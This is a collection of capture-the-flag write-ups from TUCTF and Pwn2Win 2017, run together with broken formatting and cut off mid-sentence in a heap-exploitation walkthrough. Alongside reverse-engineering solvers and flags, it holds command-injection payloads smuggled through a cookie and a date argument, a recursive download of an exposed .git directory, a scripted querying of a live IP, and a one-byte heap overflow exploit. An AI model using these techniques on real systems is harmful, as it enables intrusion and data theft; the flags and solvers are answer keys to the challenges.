```Using default input encoding: UTF-8Loaded 1 password hash (dynamic_1017 [md5($s.$p) (long salt) 256/256 AVX2 8x3])Warning: no OpenMP support for this hash type, consider --fork=4Press 'q' or Ctrl-C to abort, almost any other key for statusferrari (10.10.2.200)1g 0:00:00:00 DONE 2/3 (2017-10-21 14:27) 33.33g/s 173600p/s 173600c/s 173600C/s 123456..GeronimoUse the "--show" option to display all of the cracked passwords reliablySession completed```
So shared secret was `ferrari`... but this isn't the flag, it's not the password.
I banged my head against the wall for a while to figure out how I could get a [RADIUS] password with the shared secret.... eventually my research found that I could just use [Wireshark].
The article describing such is here: [http://wifiphil.blogspot.com/2015/12/troubleshooting-decrypt-radius-packets.html](http://wifiphil.blogspot.com/2015/12/troubleshooting-decrypt-radius-packets.html)
With that in effect, [Wireshark] would show me the password in plaintext.
Now this is a challenge I actually liked. It was difficult, but I felt like I was researching and learning and finding tools and techniques to get what I want. That is a CTF; not a GTF.
__Flag: `routergod`__
[pcap]: https://en.wikipedia.org/wiki/Pcap[PCAP]: https://en.wikipedia.org/wiki/Pcap[CyberSEED]: https://www.csi.uconn.edu/cybersecurity-week/[RTL-SDR]: https://www.rtl-sdr.com/[System76]: https://system76.com/[PCAP]: [pcap]: https://en.wikipedia.org/wiki/Pcap[regex]: https://en.wikipedia.org/wiki/Regular_expression[scapy]: http://www.secdev.org/projects/scapy/[Wireshark]: https://www.wireshark.org/[RADIUS]: https://en.wikipedia.org/wiki/RADIUS[John The Ripper]: https://github.com/magnumripper/JohnTheRipper[Jumbo John The Ripper]: https://github.com/magnumripper/JohnTheRipper[git]: https://git-scm.com/[radius2john]: https://github.com/piyushcse29/john-the-ripper/blob/master/run/radius2john.pl[radius2john.pl]: https://github.com/piyushcse29/john-the-ripper/blob/master/run/radius2john.pl[rockyou.txt]: https://wiki.skullsecurity.org/Passwords |
# Cookie Harrelson (200pts)
## Description
~~~Woody Harrelson has decided to take up web dev after learning about Cookies. Show him that he should go back to killing zombies.
Note: index.txt is what is being displayed on the page.
http://cookieharrelson.tuctf.com~~~
## Solution
We start by looking at the cookies with CookieMonster extension. In the cookie `tallahassee` there is a URL encoded, base64 encoded text:
cat index.txt
We first tried editing this cookie to `cat flag` or `cat flag.txt`. After refreshing the page, we checked the cookie and found:
cat index.txt #cat flag
So our command is probably being commented in a Shell Script way. After a lot of thinking and some friends helping, we found the solution with multi line commands:
\ cat flag
After refreshing:
cat index #\ cat flag
The flag shows up in the page:
TUCTF{D0nt_3x3cut3_Fr0m_c00k13s}
Again, don't! |
# Git Gud (100pts)
## Description
Jimmy has begun learning about Version Control Systems and decided it was a good time to put it into use for his person website. Show him how to Git Gud. http://gitgud.tuctf.com
## Solution
The challenge gives a URL with apparently nothing useful. Due to the tile we thought about a git repo somewhere in this domain. We found it manually at:
http://http://gitgud.tuctf.com/.git
The biggest difficulty was to download the repo, sice `git clone` did not work. So we downloaded it recursively with:
$ wget -r http://gitgud.tuctf.com/.git
In the `.git/log` folder we could see that the flag was added with commit `4fa0acbccd0885dace2f111f2bd7a120abc0fb4e`:
However, before checking out into this commit, we needed to stash the changes:
$ git stash
Now we were able to:
$ git checkout 4fa0acbccd0885dace2f111f2bd7a120abc0fb4 HEAD is now at 4fa0acb... Added flag
Finally:
~~~$ git showcommit 4fa0acbccd0885dace2f111f2bd7a120abc0fb4eAuthor: Jimmy <[email protected]>Date: Tue Nov 21 20:47:00 2017 +0000
Added flag
diff --git a/flag b/flag new file mode 100644 index 0000000..1b8dce4 --- /dev/null +++ b/flag @@ -0,0 +1,2 @@ + +TUCTF{D0nt_M4k3_G1t_Publ1c}~~~
So, yeah, just don't do it :) |
### FunMail2.0
This one was the Second Revsersing Challenge with 50 pointsand like everytime i fireup the file to IDA to inspect thingsand this sems like the first one , we have the username and passwordhardcoded.
**strcpy(s2, "john galt");**
**.data:0000304C password db 'more-secure-password',0 ; DATA XREF: main+14**
but when we use them (they are correct) but a kind of restriction get us out and exitso i decided to look at the function wich show us the flag after getting to menuand it was like this

so i decided to made an implementation of the function to get the Flagso i write the script [fun2.py](fun2.py) and the flag was :
**Flag : TUCTF{l0c4l_<_r3m073_3x3cu710n}** |
## Unknown (Reverse Engineering, 200pt)
> Diggin through some old files we discovered this binary. Although despite our inspection we can't figure out what it does. Or what it wants...> > unknown - md5: 9f08f6e8240d4a0e098c4065c5737ca6
For this challenge we are given a 64bit ELF [binary](unknown).
```❯❯❯ file unknownunknown: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped```
The `main` function decompiles to the following:
```csigned __int64 __fastcall main(int a1, char **a2, char **a3){ signed __int64 result; // rax unsigned int i; // [rsp+14h] [rbp-Ch] char *v5; // [rsp+18h] [rbp-8h]
if ( a1 == 2 ) { if ( strlen(a2[1]) == 0x38 ) { v5 = a2[1]; for ( i = 0; i < 0x38; ++i ) { if ( (unsigned int)sub_401E90((__int64)v5, i) ) dword_603084 = 1; } if ( dword_603084 ) puts("Nope."); else printf("Congraz the flag is: %s\n", v5, a2); result = 0LL; } else { puts("Still nope."); result = 4294967294LL; } } else { puts("Try again."); result = 0xFFFFFFFFLL; } return result;}```
Without further reversing I initially decided to use `angr` to solve this, so I wrote the following script:
```pythonimport angrimport claripy
flag_len = 57find = (0x401CB7,)avoid = (0x401CAB, 0x401C4B, 0x401C17,)
def main(): proj = angr.Project('./unknown', load_options={"auto_load_libs": False})
argv1 = claripy.BVS("argv1", flag_len * 8) initial_state = proj.factory.entry_state(args=["./unknown", argv1])#, add_options={angr.options.LAZY_SOLVES})
for byte in argv1.chop(8): initial_state.add_constraints(byte != '\x00') # null initial_state.add_constraints(byte >= ' ') # '\x20' initial_state.add_constraints(byte <= '~') # '\x7e'
initial_state.add_constraints(argv1.chop(8)[0] == 'T') initial_state.add_constraints(argv1.chop(8)[1] == 'U') initial_state.add_constraints(argv1.chop(8)[2] == 'C') initial_state.add_constraints(argv1.chop(8)[3] == 'T') initial_state.add_constraints(argv1.chop(8)[4] == 'F') initial_state.add_constraints(argv1.chop(8)[5] == '{')
sm = proj.factory.simulation_manager(initial_state) sm.explore(find=find, avoid=avoid)
solution = sm.found[0].solver.eval(argv1, cast_to=str) return solution
if __name__ == '__main__': print main()```
I let the script run and went into other challenges. However, after a few hours it seemed like either I was missing something or `angr` was too inefficient for this (still not sure what was the case).
So, I adandoned this approach and started reversing the binary again. The binary checks each of the 56 chars of the flag against the `sub_401E90` function. If the character at position is correct, `EAX` is set to `0` otherwise `EAX` is set to `1`.
The corresponding code is shown below:

We can easily put a breakpoint @ `0x401C82` and bruteforce the flag one character at a time. While IDAPython could be used to accomplish that, I decided to use the rather simple interface of Radare2.
```pythonimport sysimport stringimport r2pipe
flag = ["*"]*56
charset = string.digits + string.uppercase + string.lowercase + "{}_!"
def continue_to_index(i): for x in range(i): r2.cmd("dc")
for flag_index in range(len(flag)): for c in charset: r2 = r2pipe.open("unknown") flag[flag_index] = c r2.cmd('doo "{}"'.format("".join(flag))) r2.cmd("db 0x401C82") continue_to_index(flag_index+1) rax = int(r2.cmd("dr rax"), 16) r2.quit() if rax == 0: sys.stdout.write("\r"+"".join(flag)) sys.stdout.flush() break
# TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}``` |
#This is a quick and dirty writeup
Hi,
The given file (unknown) is an ELF 64-bit LSB executable stripped .A binary without anti-debug tricks or obfuscation .
unknown is an executable. When we run it, it returns 'Try again.'
I imported the binary file into IDAPro then, with a top-down looking at the assembly code i noticed that the binary takes something as an argument and when we give itan argument it returns 'Still nope.'
To find the flag we have to find the correct input .
Our assembly code show us these things :
1- len(input) == 56
2-there is a loop that encrypt our characters and check each of it with an encrypted character, if encrypt(input[i]) !=encrypt(flag[i]): mov cs:dword_603084, 1
3- if(dword_603084 ==1): failed
it can be quicky solved by a brute force attack . check my python script :)
|
## Grammar Lesson (LuciferVM, 150pt)
> I do declare this to challenge to be at least mildly engaging, and certainly useful going forwards
During the CTF, teams were provided with a VM (`LuciferVMTUCTF.ova`) containing several challenges and a special category had been added for those, namely the `LuciferVM` category. `Grammar Lesson` was one of those challenges.
The files for this challenge were located inside the `~hackerman/Games/keygen/` directory.
```❯❯❯ ls -ltotal 24-rwxr-xr-x 1 hackerman hackerman 46 Nov 21 01:44 Connect To Key Validator-rw-r--r-- 1 hackerman hackerman 336 Nov 21 01:43 NoteToSelf-rw-r--r-- 1 hackerman hackerman 1169 Nov 21 01:46 validation_requirements.txt```
First of, we are given a description of what we are about to face:
```❯❯❯ cat NoteToSelfGreetings, Hackerman - It is I, Hackerman.
In my endeavours to hack into Dungeon of Infinity,I stumbled upon what is rumored to be a serial keyvalidator for an as-yet unreleased game. I was alsoable to obtain a copy of the validation criteria,though I have yet to write a valid key generatorfor the key validator.
Hackerman, out```
We are also given a socket to connent to:
```❯❯❯ cat "Connect To Key Validator"#!/bin/bashncat grammarlesson.tuctf.com 6661```
Finally, we have the serial key validator source code inside the `validation_requirements.txt` file:
```prolog% tokenizer("key_string_here",T), checkkey(T,Z).token(48,0).token(49,1).token(50,2).token(51,3).token(52,4).token(53,5).token(54,6).token(55,7).token(56,8).token(57,9).
token(40,lt_paren).token(41,rt_paren).token(44,comma).token(45,hyphen).token(38,amper).
tokenizer([],[]).tokenizer([H|T],[TK|TL]):-token(H,TK), tokenizer(T,TL).
rt_paren([rt_paren|S],S).lt_paren([lt_paren|S],S).comma([comma|S],S).hyphen([hyphen|S],S).amper([amper|S],S).
digit([0|S],S).digit([1|S],S).digit([2|S],S).digit([3|S],S).digit([4|S],S).digit([5|S],S).digit([6|S],S).digit([7|S],S).digit([8|S],S).digit([9|S],S).
checkkey(S,R) :- lt_paren(S,S1), key(S1,S2,V1), rt_paren(S2,R), V1 is 82944.key(S,R,V) :- oct(S,S1,V1), amper(S1,S2), oct(S2,R,V2), V is V1 * V2.oct(S,R,V) :- quad(S,S1,V1), hyphen(S1,S2), quad(S2,R,V2), V is V1 + V2.quad(S,R,V) :- pair(S,S1,V1), comma(S1,S2), pair(S2,R,V2), V is V1* V2.pair(S,R,V) :- digit(S,S1,V1), digit(S1,R,V2), V is V1 + V2.
digit([0|S],S, 0).digit([1|S],S, 1).digit([2|S],S, 2).digit([3|S],S, 3).digit([4|S],S, 4).digit([5|S],S, 5).digit([6|S],S, 6).digit([7|S],S, 7).digit([8|S],S, 8).digit([9|S],S, 9).```
The code is written in **Prolog** and it begins with a comment describing how the main functionality is invoked:
```% tokenizer("key_string_here",T), checkkey(T,Z).```
The input key is "tokenized" and passed through the `checkkey` rule which must return `True` for valid keys. Even though the code looks a bit complicated at first, it really isn't. Also, keep in mind that the challenge only worths 150 pts. Below, we see the actual validation rules we have to obey:
```prologcheckkey(S,R) :- lt_paren(S,S1), key(S1,S2,V1), rt_paren(S2,R), V1 is 82944.key(S,R,V) :- oct(S,S1,V1), amper(S1,S2), oct(S2,R,V2), V is V1 * V2.oct(S,R,V) :- quad(S,S1,V1), hyphen(S1,S2), quad(S2,R,V2), V is V1 + V2.quad(S,R,V) :- pair(S,S1,V1), comma(S1,S2), pair(S2,R,V2), V is V1* V2.pair(S,R,V) :- digit(S,S1,V1), digit(S1,R,V2), V is V1 + V2.```
Reading the rules (`:-`) bottom up, they boil down to the following:
* `pair` if we have the combination of any two digits. e.g. `93`* `quad` if we have two `pair`s combined with `comma`. e.g. `93,75`* `oct` if we have two `quad`s combined with `hyphen`. e.g. `93,75-46,34`* `key` if we have two `oct`s combined with an `amper`. e.g. `93,75-46,34&23,42-92,48`* `checkkey` if we have a `key` enclosed in `lt_paren` and `rt_paren`. e.g. `(93,75-46,34&23,42-92,48)`
And we have the key format:
```(P,P-P,P&P,P-P,P)```
What we didn't interpret was the last fact from each of the above rules. Starting with the sum of **every** pair (`P`) with digits `a`, `b`, valid keys must satisfy the following conditions:
```a + b == cc * c == dd + d == ee * e == 82944```
Only thing left to create our keygen is to find all valid pairs and generate keys according to the required format. The following script will generate all valid keys.
```pythonfrom z3 import *from itertools import product
a, b, c, d, e = Ints('a b c d e')
s = Solver()
s.add(a > 0, a <= 9)s.add(b > 0, b <= 9)s.add(c > 0)s.add(d > 0)s.add(e > 0)
s.add(a + b == c)s.add(c * c == d)s.add(d + d == e)s.add(e * e == 82944)
pairs = []
while True: if s.check() == unsat: break m = s.model() pairs.append([m[a], m[b]]) s.add(a != m[a])
pairs = map(lambda x: str(x[0]) + str(x[1]), pairs)print "[+] found {} pairs".format(len(pairs))
for p in pairs: print p
pairs = list(product(pairs, repeat=8))print "[+] generated {} valid keys".format(len(pairs))
with open("grammar_keys.txt", "w") as f: for p in pairs: f.write("(%s,%s-%s,%s&%s,%s-%s,%s)\n" % p)```
The valid pairs are:
```48, 39, 93, 84, 75, 66, 57```
The script generated **5764801** valid keys. Sending a few of those to the server wins the flag.
```# TUCTF{Gr4mm3r_1s_v3ry_imp0rtAnT!_4ls0_Pr0log_iz_c00l!}``` |
[writeup by @dantt]
**CTF:** Pwn2Win CTF 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** crypto / differential privacy
**Points:** 173
```Is it possible to have privacy on these days? The Rebelious Fingers do not think so. Get the flag.```
We're given a server to connect to, which prompts us with the following:
```Hello, chose an option:[1] Info[2] Query the flag (in ASCII)[3] Quit```
If we select `1` we discover interesting information:```1You can query the flag, but the characters are private (indistinguishable).Differential privacy mechanism: LaplaceSensitivity: ||125 - 45|| = 80Epsilon: 6.5```The scheme employed is then differential privacy, with Laplace additive noise. This means that the computed function (or query) on the "database" is perturbed with random noise, drawn from a Laplace distribution. The challenge also tells us some information about this: the security parameter `epsilon` (capturing information about the variance of the specific Laplace distribution, and the sensitivity of the computer function.In particular, this hints that the computed function is actually very simple: `ord(char) + noise`. Indeed, sensitivity here is the maximum absolute difference between the minimum and maximum values that the function can have. Interestingly, `chr(125) = }` and `chr(45) = -`, which we expect to be part of the flag.
If we query the flag, we have confirmation of this:
```2[80, 79, 95, 49, 48, 79, 149, 46, 87, 126, 123, 131, 91, 109, 105, 120, 97, 80, 89, 93, 142, 125, 114, 104, 111, 61, 85, 74, 89, 91, 126, 83, 103, 119, 99, 101, 111]```
Interpreting this as ASCII characters, we find a nonsensical `PO_10O\x95.W~{\x83[mixaPY]\x8e}rho=UJY[~Sgwceo`, as every character is perturbated by some random amount.
If we query again the flag within the same connection, we obtain the same encrypted string. However, if we reconnect, we get a different perturbation of the flag. This means that the task is very easy: Laplace distribution has zero mean - it is symmetric and zero-centered. Therefore, if we query the flag enough times, and average character-by-character, we eventually cancel out the noise. We setup a simple script to do it:
```pythonfrom pwn import *import astimport numpy as np
guess = []
for __ in range(1000): p = remote("200.136.213.143", 9999) p.recvuntil("Quit") p.sendline("2") guess.append(ast.literal_eval(p.recvuntil("]").strip("\n"))) print "".join([chr(int(round(xx))) for xx in np.mean(guess, axis=0)]) p.close() print guess```
1000 iterations are not enough to obtain perfect cancellation, but good enough for a bit of manual tweaking, giving us the flag:`CTF-BR{I_am_just_filtering_the_noise}` |
Generate keys to match a described grammar. Simple solve with Z3 Prover.
https://advancedpersistentjest.com/2017/11/27/writeups-future-grammarless-tuctf/ |
We are given a website that lets us add a format string that is passed to `date` command.
First what we see is a banner:
> Proudly coded with Vim editor
We check address `http://159.203.38.169:5675/.index.php.swp` and get some version of `index.php` file. Here we see that there is a file `varflag.php` which holds a flag.
Back to the form. The command we send is escaped, but as a whole, so if we could interfere with outside world with `date` arguments only, we could probably do something. Reading manual tells that option `-f` allows to read format strings from file. We send ` -f varflag.php` (space is to separate format string from the `-f` argument), view source (so that `'``` |
## Future (Reverse Engineering, 250pt)
> Future me gave me this and told me to add it to TUCTF. I dunno, he sounded crazy. Anyway, Let's see what's so special about it.> > NOTE: If you find a solution that was not intended, then msg me on Discord @scrub>> future - md5: 30a6b3fe92a65271bac7c4b83b303b55
Besides the [binary](future), we are also given the [source code](future.c) for this challenge. So let's start with the source!
The program asks for the flag that must be 25 characters long.
```c char flag[26]; printf("What's the flag: "); scanf("%25s", flag); flag[25] = 0;
if (strlen(flag) != 25) { puts("Try harder."); return 0; }```
Then, the flag we input is put into a 5x5 matrix.
```cvoid genMatrix(char mat[5][5], char str[]) { for (int i = 0; i < 25; i++) { int m = (i * 2) % 25; int f = (i * 7) % 25; mat[m/5][m%5] = str[f]; }}```
The generated matrix is given below:
``` 0 1 2 3 40 flag[0] flag[16] flag[7] flag[23] flag[14]1 flag[5] flag[21] flag[12] flag[3] flag[19]2 flag[10] flag[1] flag[17] flag[8] flag[24]3 flag[15] flag[6] flag[22] flag[13] flag[4]4 flag[20] flag[11] flag[2] flag[18] flag[9]```
Finally, a `auth` string is generated based on the matrix and checked against the hardcoded `pass`.
```cauth[0] = mat[0][0] + mat[4][4];auth[1] = mat[2][1] + mat[0][2];auth[2] = mat[4][2] + mat[4][1];auth[3] = mat[1][3] + mat[3][1];auth[4] = mat[3][4] + mat[1][2];auth[5] = mat[1][0] + mat[2][3];auth[6] = mat[2][4] + mat[2][0];auth[7] = mat[3][3] + mat[3][2] + mat[0][3];auth[8] = mat[0][4] + mat[4][0] + mat[0][1];auth[9] = mat[3][3] + mat[2][0];auth[10] = mat[4][0] + mat[1][2];auth[11] = mat[0][4] + mat[4][1];auth[12] = mat[0][3] + mat[0][2];auth[13] = mat[3][0] + mat[2][0];auth[14] = mat[1][4] + mat[1][2];auth[15] = mat[4][3] + mat[2][3];auth[16] = mat[2][2] + mat[0][2];auth[17] = mat[1][1] + mat[4][1];```
```cchar pass[19] = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99\x99\x94\xad\xe4\x00";```
Putting all these into a Z3 solver gives us the flag.
```pythonfrom z3 import *
s = Solver()
flag = []for i in range(25): c = Int("flag_{}".format(i)) s.add(c >= 0x20, c <= 0x7e) flag.append(c)
s.add(flag[0] + flag[9] == 0x8b)s.add(flag[1] + flag[7] == 0xce)s.add(flag[2] + flag[11] == 0xb0)s.add(flag[3] + flag[6] == 0x89)s.add(flag[4] + flag[12] == 0x7b)s.add(flag[5] + flag[8] == 0xb0)s.add(flag[24] + flag[10] == 0xb0)s.add(flag[13] + flag[22] + flag[23] == 0xee)s.add(flag[14] + flag[20] + flag[16] == 0xbf)s.add(flag[13] + flag[10] == 0x92)s.add(flag[20] + flag[12] == 0x65)s.add(flag[14] + flag[11] == 0x9d)s.add(flag[23] + flag[7] == 0x9a)s.add(flag[15] + flag[10] == 0x99)s.add(flag[19] + flag[12] == 0x99)s.add(flag[18] + flag[8] == 0x94)s.add(flag[17] + flag[7] == 0xad)s.add(flag[21] + flag[11] == 0xe4)
# using only the above constraints, more than 1 models# are found that satisfy the conditionss.add(flag[0] == ord('T'))s.add(flag[1] == ord('U'))s.add(flag[2] == ord('C'))s.add(flag[3] == ord('T'))s.add(flag[4] == ord('F'))s.add(flag[5] == ord('{'))s.add(flag[24] == ord('}'))
if s.check() == sat: flag = map(lambda x: chr(int(str(s.model()[x]))), flag) print "".join(flag)
# TUCTF{5y573m5_0f_4_d0wn!}``` |
```Points: 500Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)```
Custom allocator & partial RELRO. Sounds like a heap exploitation & GOT overwrite business ;) To begin with, we were given a binary with a custom dynamic [memory allocator](https://github.com/xerof4ks/heapwn/blob/master/TUCTF/mm.c). Instead of analyzing its algorithm line by line (the memory allocator's implementation was given), I'll walk you through its key features via my exploit. To give you a brief idea, it's an overly simplified version of malloc. There are 0 (maybe I missed some while I'm writing this) security checks in terms of allocating/free-ing chunks. For the rest of the write-up I'll be refering to the provided allocator as "malloc". An allocated chunk has the following structure:
```Both allocated and free blocks share the same header structure. HEADER: 8-byte, aligned to 8th byte of an 16-byte aligned heap, where - The lowest order bit is 1 when the block is allocated, and 0 otherwise. <-- !!! Important !!! - The whole 8-byte value with the least significant bit set to 0 represents the size of the block as a size_t The size of a block includes the header and footer. FOOTER: 8-byte, aligned to 0th byte of an 16-byte aligned heap. It contains the exact copy of the block's header. The minimum blocksize is 32 bytes. ```
```ctypedef struct block{ /* Header contains size + allocation flag */ word_t header; /* * We don't know how big the payload will be. Declaring it as an * array of size 0 allows computing its starting address using * pointer notation. */ char payload[0]; /* * We can't declare the footer as part of the struct, since its starting * position is unknown */} block_t;```
### _Exploit & Allocator Analysis_
```pythonalloc(0x50, 'A'*8)alloc(0x30, 'B'*8) alloc(0x70, 'C'*8) alloc(0x70, 'D'*8) ```
```0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 80x625190: 0x0000000000000051 0x00000000006251c0 <-- dataptr 80x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x00000000000000610x6251c0: 0x4141414141414141 0x000000000000000a0x6251d0: 0x0000000000000000 0x00000000000000000x6251e0: 0x0000000000000000 0x00000000000000000x6251f0: 0x0000000000000000 0x00000000000000000x625200: 0x0000000000000000 0x00000000000000000x625210: 0x0000000000000061 0x0000000000000031 <-- chunk 90x625220: 0x0000000000000031 0x0000000000625250 <-- dataptr 90x625230: 0x0000000000000008 0x0000000000401d610x625240: 0x0000000000000031 0x00000000000000410x625250: 0x4242424242424242 0x000000000000000a0x625260: 0x0000000000000000 0x00000000000000000x625270: 0x0000000000000000 0x00000000000000000x625280: 0x0000000000000041 0x0000000000000031 <-- chunk 100x625290: 0x0000000000000071 0x00000000006252c0 <-- dataptr 100x6252a0: 0x0000000000000008 0x0000000000401d610x6252b0: 0x0000000000000031 0x00000000000000810x6252c0: 0x4343434343434343 0x000000000000000a0x6252d0: 0x0000000000000000 0x00000000000000000x6252e0: 0x0000000000000000 0x00000000000000000x6252f0: 0x0000000000000000 0x00000000000000000x625300: 0x0000000000000000 0x00000000000000000x625310: 0x0000000000000000 0x00000000000000000x625320: 0x0000000000000000 0x00000000000000000x625330: 0x0000000000000081 0x0000000000000031 <-- chunk 110x625340: 0x0000000000000071 0x0000000000625370 <-- dataptr 110x625350: 0x0000000000000008 0x0000000000401d610x625360: 0x0000000000000031 0x00000000000000810x625370: 0x4444444444444444 0x000000000000000a0x625380: 0x0000000000000000 0x00000000000000000x625390: 0x0000000000000000 0x00000000000000000x6253a0: 0x0000000000000000 0x00000000000000000x6253b0: 0x0000000000000000 0x00000000000000000x6253c0: 0x0000000000000000 0x00000000000000000x6253d0: 0x0000000000000000 0x00000000000000000x6253e0: 0x0000000000000081 0x0000000000000c20 <-- top chunk```
The context in which we are dabbling on is a wisdom maker. We get to allocate, edit and delete wisdoms. Free-ing involves printing the selected wisdom's data as well. Those wisdoms are nothing more than dynamically allocated C structs. Here is its pseudo version once they are originally allocated:
```cstruct wisdom { size; /* amount of bytes that were allocated for the data pointer */ dataptr; /* malloc'd data pointer which points to whatever string we entered */ 0x8; /* length of the hardcoded string */ 0x401d61; /* hardcoded pointer to "Neonate\n" */};```
``` 0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 8 +------------------+ +-------------------+ <----+ | [read_bytes] | | [dataptr] | |0x625190: |0x0000000000000051| | 0x00000000006251c0| | +------------------+ +-------------------+ | alloc'd wisdom +------------------+ +-------------------+ | | | [Neonate\n] | |0x6251a0: |0x0000000000000008| | 0x0000000000401d61| | +------------------+ +-------------------+ <----+ ```
`readbytes` is the function responsible for reading our data in both allocation and edit. There's a particular feature in it which makes it quite juicy.
```asm<edit>mov rax, qword [rbp-0x8 {chunk}]mov rax, qword [rax]mov edx, eaxmov rax, qword [rbp-0x8 {chunk}]mov rax, qword [rax+0x8]mov esi, edxmov rdi, raxcall readbytes```
```asm<readbytes>push rbpmov rbp, rspsub rsp, 0x10 {var_18}mov qword [rbp-0x8 {ptr}], rdimov dword [rbp-0xc {size}], esimov rdx, qword [rel stdin]mov eax, dword [rbp-0xc]add eax, 0x1 <-- !!!mov ecx, eaxmov rax, qword [rbp-0x8]mov esi, ecxmov rdi, raxcall fgets```
We have the following line in the exploit:
```pythonedit(9, 'A'*(0x30) + p8(0xd0))```
According to `readbytes`, it will read in `size + 0x1` bytes and store it in the data pointer. Meaning 0x32, where the 0x32th byte will be the null byte (that's how `fgets` works). Chunk 9's data pointer is `0x625250`. `0x625250 + 0x32 == 0x625282`. That means we get to overwrite the `footer` field of chunk 9's data pointer whose usage is crucial for the `coalesce` function which we will inspect soon.
```0x625180: 0x0000000000000031 0x0000000000000031 <-- chunk 80x625190: 0x0000000000000051 0x00000000006251c00x6251a0: 0x0000000000000008 0x0000000000401d610x6251b0: 0x0000000000000031 0x0000000000000061 [supposedly free] <------+0x6251c0: 0x4141414141414141 0x000000000000000a |0x6251d0: 0x0000000000000000 0x0000000000000000 |0x6251e0: 0x0000000000000000 0x0000000000000000 | 0x6251f0: 0x0000000000000000 0x0000000000000000 |0x625200: 0x0000000000000000 0x0000000000000000 |0x625210: 0x0000000000000061 0x0000000000000031 <-- chunk 9 | 0x625220: 0x0000000000000031 0x0000000000625250 <-- dataptr 9 |0x625230: 0x0000000000000008 0x0000000000401d61 |0x625240: 0x0000000000000031 0x0000000000000041 | 0x625250: 0x4141414141414141 0x4141414141414141 ... | 0x625260: 0x4141414141414141 0x4141414141414141 1-byte overflow | 0x625270: 0x4141414141414141 0x4141414141414141 ... | 0x625280: 0x00000000000000d0 0x0000000000000031 <-- chunk 10 [footer/overwritten prev_size field]0x625290: 0x0000000000000071 0x00000000006252c0```
I know the above image might look a bit daunting but stay with me. What we practically accomplished is to fool chunk 10 into thinking that its previous chunk is free! "How and why" you may ask. Free works in the following manner:
```cvoid free(void *bp){ if (bp == NULL) { return; }
block_t *block = payload_to_header(bp); size_t size = get_size(block);
write_header(block, size, false); write_footer(block, size, false);
coalesce(block);
}```
Firstly, it updates the `header` and `footer` fields by turning off the last significant bit. That action signifies to the rest of the chunks that it's currently free (chunk 9, that is). Secondly and lastly, it will unlink/coalesce the chunk which just got free'd with its previous/next chunk IF and ONLY IF they are free'd as well. Coalesce's code incoming:
```c/* Coalesce: Coalesces current block with previous and next blocks if either * or both are unallocated; otherwise the block is not modified. * Returns pointer to the coalesced block. After coalescing, the * immediate contiguous previous and next blocks must be allocated. */static block_t *coalesce(block_t * block) { ...
if (prev_alloc && next_alloc) { return block; }
else if (prev_alloc && !next_alloc) { size += get_size(block_next); write_header(block, size, false); write_footer(block, size, false); }
else if (!prev_alloc && next_alloc) { size += get_size(block_prev); write_header(block_prev, size, false); write_footer(block_prev, size, false); block = block_prev; }
else { size += get_size(block_next) + get_size(block_prev); write_header(block_prev, size, false); write_footer(block_prev, size, false);
block = block_prev; } return block;}```
Let me give you a brief pseudocode intro on `coalesce`.
* Calculate the pointers to the previous and next chunk of the chunk which just got free'd.
* Check if they are in use or not.
* Calculate the size of the currect block.
* If none of the chunks (that is, the previous / next chunk) are free'd, just return.
* If **only** the previous chunk is free, consolidate backwards and update the `header` and `footer` fields accordingly.
* If **only** the next chunk is free, consolidate forward and update the `header` and `footer` fields accordingly.
* If **both** previous and next chunk are free'd, consolidate all 3 (including the current chunk) and update the `header` and `footer` fields accordingly.
If you actually think about it, the **next chunk** will always be free'd (unless tampering has taken place) because the `delete` function free's the data pointer first and the chunk itself afterwards. That being said, we will either fall under the 2nd or 4th case. I purposely picked the 4th one and you'll see why. After all this analysis, let's see the magic happening.
```pythonfree(10)```
``` [chunk 9's footer] 0x625280: 0x00000000000000d0 0x0000000000000031 0x625290: 0x0000000000000071 0x00000000006252c0 - + dataptr 100x6252a0: 0x0000000000000008 0x0000000000401d61 | [header] |0x6252b0: 0x0000000000000031 0x0000000000000080 <-- header: 0x81 => 0x80 0x6252c0: 0x4343434343434343 0x000000000000000a0x6252d0: 0x0000000000000000 0x0000000000000000 ... [footer] ---> 0x81 => 0x800x625330: 0x0000000000000080 0x0000000000000031```
The first part of `delete` as I mentioned before free's the data pointer first. As you can see from the above image, malloc did indeed free chunk 10's data pointer by calling `write_header` & `write_footer` which turned off the lsb of `header` and `footer` respectively to indicate that it's currently free. Next it's chunk 10's turn. Instead of showing it in one-go I'll illustrate the coalescing step-by-step.
```pythonfree(10)```
The state of the heap is the following right before chunk 10's turn:
```0x6251b0: 0x0000000000000031 0x00000000000000610x6251c0: 0x4141414141414141 0x000000000000000a0x6251d0: 0x0000000000000000 0x00000000000000000x6251e0: 0x0000000000000000 0x00000000000000000x6251f0: 0x0000000000000000 0x00000000000000000x625200: 0x0000000000000000 0x00000000000000000x625210: 0x0000000000000061 0x00000000000000310x625220: 0x0000000000000031 0x00000000006252500x625230: 0x0000000000000008 0x0000000000401d610x625240: 0x0000000000000031 0x00000000000000410x625250: 0x4141414141414141 0x41414141414141410x625260: 0x4141414141414141 0x41414141414141410x625270: 0x4141414141414141 0x41414141414141410x625280: 0x00000000000000d0 0x0000000000000031 <-- chunk 100x625290: 0x0000000000000071 0x00000000006252c00x6252a0: 0x0000000000000008 0x0000000000401d610x6252b0: 0x0000000000000031 0x0000000000000080 <-- chunk 10's dataptr is free'd```
The first part of free will call `write_header` and `write_footer` to let the rest of the chunks know that chunk 10 free.
